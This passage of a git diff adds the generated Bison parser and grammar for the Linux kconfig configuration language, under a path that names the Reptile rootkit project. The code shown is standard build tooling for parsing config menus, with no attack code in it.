"Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if ((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - (3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + { + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y new file mode 100644 index 0000000..33b4a54 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + 